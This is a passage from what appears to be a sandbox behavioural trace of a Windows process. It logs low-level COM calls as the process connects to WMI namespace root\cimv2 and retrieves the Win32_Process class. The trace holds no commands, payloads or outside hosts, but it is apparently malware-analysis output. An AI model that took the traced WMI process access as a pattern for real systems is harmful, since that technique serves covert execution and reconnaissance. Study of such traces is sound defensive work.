ppvObject=0x1b10ce00*=0x0) returned 0x80004002 [0132.450] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433d30, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cdd8 | out: ppvObject=0x1b10cdd8*=0x352340) returned 0x0 [0132.450] WbemDefPath:IUnknown:Release (This=0x1b433d30) returned 0x0 [0132.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb80 | out: ppvObject=0x1b10cb80*=0x352340) returned 0x0 [0132.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x0) returned 0x80004002 [0132.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c408 | out: ppvObject=0x1b10c408*=0x0) returned 0x80004002 [0132.451] WbemDefPath:IUnknown:AddRef (This=0x352340) returned 0x3 [0132.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c2c8 | out: ppvObject=0x1b10c2c8*=0x0) returned 0x80004002 [0132.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c250 | out: ppvObject=0x1b10c250*=0x0) returned 0x80004002 [0132.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c240 | out: ppvObject=0x1b10c240*=0x1b433db0) returned 0x0 [0132.451] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433db0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c268 | out: pCid=0x1b10c268*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.451] WbemDefPath:IUnknown:Release (This=0x1b433db0) returned 0x3 [0132.451] CoGetContextToken (in: pToken=0x1b10c2f0 | out: pToken=0x1b10c2f0) returned 0x0 [0132.451] CoGetContextToken (in: pToken=0x1b10c770 | out: pToken=0x1b10c770) returned 0x0 [0132.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c830 | out: ppvObject=0x1b10c830*=0x0) returned 0x80004002 [0132.451] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x2 [0132.451] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x1 [0132.451] CoGetContextToken (in: pToken=0x1b10d560 | out: pToken=0x1b10d560) returned 0x0 [0132.451] CoGetContextToken (in: pToken=0x1b10d460 | out: pToken=0x1b10d460) returned 0x0 [0132.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x1b10d5c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d590 | out: ppvObject=0x1b10d590*=0x352340) returned 0x0 [0132.451] WbemDefPath:IUnknown:AddRef (This=0x352340) returned 0x3 [0132.451] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x2 [0132.451] WbemDefPath:IWbemPath:SetText (This=0x352340, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0132.451] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0132.451] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0132.451] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.452] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0132.452] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0132.452] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0132.452] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.452] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d078 | out: ppv=0x1b10d078*=0x1b4336b0) returned 0x0 [0132.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4336b0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d160 | out: ppvObject=0x1b10d160*=0x0) returned 0x80004002 [0132.452] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4336b0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d138 | out: ppvObject=0x1b10d138*=0x1b4334d0) returned 0x0 [0132.452] WbemLocator:IUnknown:Release (This=0x1b4336b0) returned 0x0 [0132.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4334d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cee0 | out: ppvObject=0x1b10cee0*=0x1b4334d0) returned 0x0 [0132.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4334d0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x0) returned 0x80004002 [0132.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4334d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c768 | out: ppvObject=0x1b10c768*=0x0) returned 0x80004002 [0132.453] WbemLocator:IUnknown:AddRef (This=0x1b4334d0) returned 0x3 [0132.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4334d0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c628 | out: ppvObject=0x1b10c628*=0x0) returned 0x80004002 [0132.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4334d0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c5b0 | out: ppvObject=0x1b10c5b0*=0x0) returned 0x80004002 [0132.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4334d0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c5a0 | out: ppvObject=0x1b10c5a0*=0x0) returned 0x80004002 [0132.453] CoGetContextToken (in: pToken=0x1b10c650 | out: pToken=0x1b10c650) returned 0x0 [0132.453] CoGetContextToken (in: pToken=0x1b10cad0 | out: pToken=0x1b10cad0) returned 0x0 [0132.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4334d0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb90 | out: ppvObject=0x1b10cb90*=0x0) returned 0x80004002 [0132.453] WbemLocator:IUnknown:Release (This=0x1b4334d0) returned 0x2 [0132.453] WbemLocator:IUnknown:Release (This=0x1b4334d0) returned 0x1 [0132.453] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0132.453] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0132.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4334d0, riid=0x1b10d570*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b4334d0) returned 0x0 [0132.453] WbemLocator:IUnknown:AddRef (This=0x1b4334d0) returned 0x3 [0132.453] WbemLocator:IUnknown:Release (This=0x1b4334d0) returned 0x2 [0132.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0132.453] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=8, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0132.453] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=8, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.454] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d690 | out: ppv=0x1b10d690*=0x1b433590) returned 0x0 [0132.454] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b433590, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d808 | out: ppNamespace=0x1b10d808*=0x1b3e2470) returned 0x0 [0132.471] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2470, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d508 | out: ppvObject=0x1b10d508*=0x1b442910) returned 0x0 [0132.472] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b442910, pProxy=0x1b3e2470, pAuthnSvc=0x1b10d5d0, pAuthzSvc=0x1b10d550, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554, pImpLevel=0x1b10d560, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564 | out: pAuthnSvc=0x1b10d5d0*=0xa, pAuthzSvc=0x1b10d550*=0x0, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554*=0x6, pImpLevel=0x1b10d560*=0x2, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564*=0x1) returned 0x0 [0132.472] WbemLocator:IUnknown:Release (This=0x1b442910) returned 0x1 [0132.472] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2470, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4a0 | out: ppvObject=0x1b10d4a0*=0x1b442958) returned 0x0 [0132.472] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2470, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4b0 | out: ppvObject=0x1b10d4b0*=0x1b442910) returned 0x0 [0132.472] WbemLocator:IClientSecurity:SetBlanket (This=0x1b442910, pProxy=0x1b3e2470, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0132.472] WbemLocator:IUnknown:Release (This=0x1b442910) returned 0x2 [0132.472] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x1 [0132.472] CoTaskMemFree (pv=0x1b4213d0) [0132.472] WbemLocator:IUnknown:Release (This=0x1b433590) returned 0x0 [0132.472] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2470, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa0 | out: ppvObject=0x1b10cfa0*=0x1b442958) returned 0x0 [0132.473] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x0) returned 0x80004002 [0132.473] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x0) returned 0x80004002 [0132.473] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2470, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c828 | out: ppvObject=0x1b10c828*=0x0) returned 0x80004002 [0132.474] WbemLocator:IUnknown:AddRef (This=0x1b442958) returned 0x3 [0132.474] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6e8 | out: ppvObject=0x1b10c6e8*=0x0) returned 0x80004002 [0132.474] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c670 | out: ppvObject=0x1b10c670*=0x0) returned 0x80004002 [0132.474] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c660 | out: ppvObject=0x1b10c660*=0x1b442838) returned 0x0 [0132.474] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b442838, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c688 | out: pCid=0x1b10c688*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.474] WbemLocator:IUnknown:Release (This=0x1b442838) returned 0x3 [0132.474] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0132.474] CoGetContextToken (in: pToken=0x1b10cb90 | out: pToken=0x1b10cb90) returned 0x0 [0132.474] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x1b442920) returned 0x0 [0132.474] WbemLocator:IRpcOptions:Query (in: This=0x1b442920, pPrx=0x1b442958, dwProperty=2, pdwValue=0x1b10cc40 | out: pdwValue=0x1b10cc40) returned 0x80004002 [0132.474] WbemLocator:IUnknown:Release (This=0x1b442920) returned 0x3 [0132.474] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x2 [0132.474] CoGetContextToken (in: pToken=0x1b10d250 | out: pToken=0x1b10d250) returned 0x0 [0132.474] CoGetContextToken (in: pToken=0x1b10d150 | out: pToken=0x1b10d150) returned 0x0 [0132.475] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x1b10d2b0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d280 | out: ppvObject=0x1b10d280*=0x1b3e2470) returned 0x0 [0132.475] WbemLocator:IUnknown:AddRef (This=0x1b3e2470) returned 0x4 [0132.475] WbemLocator:IUnknown:Release (This=0x1b3e2470) returned 0x3 [0132.475] WbemLocator:IUnknown:Release (This=0x1b3e2470) returned 0x2 [0132.475] SysStringLen (param_1=0x0) returned 0x0 [0132.475] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0132.475] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0132.475] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.475] CoGetContextToken (in: pToken=0x1b10d290 | out: pToken=0x1b10d290) returned 0x0 [0132.475] WbemLocator:IUnknown:AddRef (This=0x1b442958) returned 0x3 [0132.475] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d290 | out: ppvObject=0x1b10d290*=0x1b442958) returned 0x0 [0132.475] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x3 [0132.475] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x2 [0132.475] WbemDefPath:IWbemPath:GetText (in: This=0x351440, lFlags=2, puBuffLength=0x1b10d990*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d990*=0xe, pszText=0x0) returned 0x0 [0132.475] WbemDefPath:IWbemPath:GetText (in: This=0x351440, lFlags=2, puBuffLength=0x1b10d990*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10d990*=0xe, pszText="Win32_Process") returned 0x0 [0132.475] IWbemServices:GetObject (in: This=0x1b3e2470, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d910*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d910*=0x1b432190, ppCallResult=0x0) returned 0x0 [0132.482] IWbemClassObject:Get (in: This=0x1b432190, wszName="__PATH", lFlags=0, pVal=0x1b10d8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10da08*=0, plFlavor=0x1b10da00*=0 | out: pVal=0x1b10d8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b10da08*=8, plFlavor=0x1b10da00*=64) returned 0x0 [0132.482] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0132.482] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0132.482] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8d8 | out: ppv=0x1b10d8d8*=0x3111d8) returned 0x0 [0132.483] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8c8 | out: pAptType=0x1b10d8c8*=1) returned 0x0 [0132.483] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8d0 | out: ppvObject=0x1b10d8d0*=0x0) returned 0x80004002 [0132.483] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.483] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccc8 | out: ppv=0x1b10ccc8*=0x1b432f90) returned 0x0 [0132.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b432f90, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cdb0 | out: ppvObject=0x1b10cdb0*=0x0) returned 0x80004002 [0132.484] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b432f90, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd88 | out: ppvObject=0x1b10cd88*=0x352580) returned 0x0 [0132.484] WbemDefPath:IUnknown:Release (This=0x1b432f90) returned 0x0 [0132.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb30 | out: ppvObject=0x1b10cb30*=0x352580) returned 0x0 [0132.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbc0 | out: ppvObject=0x1b10cbc0*=0x0) returned 0x80004002 [0132.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3b8 | out: ppvObject=0x1b10c3b8*=0x0) returned 0x80004002 [0132.484] WbemDefPath:IUnknown:AddRef (This=0x352580) returned 0x3 [0132.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c278 | out: ppvObject=0x1b10c278*=0x0) returned 0x80004002 [0132.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c200 | out: ppvObject=0x1b10c200*=0x0) returned 0x80004002 [0132.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x1b4335d0) returned 0x0 [0132.484] 